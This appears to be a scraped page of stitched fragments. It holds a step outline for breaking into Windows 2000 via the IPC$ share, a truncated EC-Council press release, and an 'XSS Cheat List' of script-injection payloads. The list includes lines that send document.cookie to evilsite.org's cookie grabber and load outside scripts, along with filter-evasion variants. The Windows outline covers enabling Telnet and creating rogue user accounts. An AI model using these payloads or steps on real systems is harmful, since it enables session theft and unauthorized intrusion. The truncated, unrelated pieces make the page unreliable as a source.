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Hacking a Windows 2000 system through IPC$

1: Scanning for open Win2k systems2: Connecting to the IPC$3: Connecting and using Computer Management.4. Disable NTLM5: Starting the Telnet service6: Creating user accounts and adding them to a group7:

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EC-Council Launches Center for Advanced Security Training (CAST)

EC-Council Launches Center for Advanced Security Training (CAST) to Address the Growing Need for Advanced Information Security Knowledge Mar 9, 2011, Albuquerque, NM – According to the report, Commission on

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XSS Cheat List

<script>alert(1);</script> <script>alert('XSS');</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>alert(String.fromCharCode(88,83,83))</script> <img src=foo.png onerror=alert(/xssed/) /> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <marquee><script>alert('XSS')</script></marquee> <IMG SRC=\"jav&#x09;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> "><script>alert(0)</script> <script src=http://yoursite.com/your_files.js></script> </title><script>alert(/xss/)</script> </textarea><script>alert(/xss/)</script>

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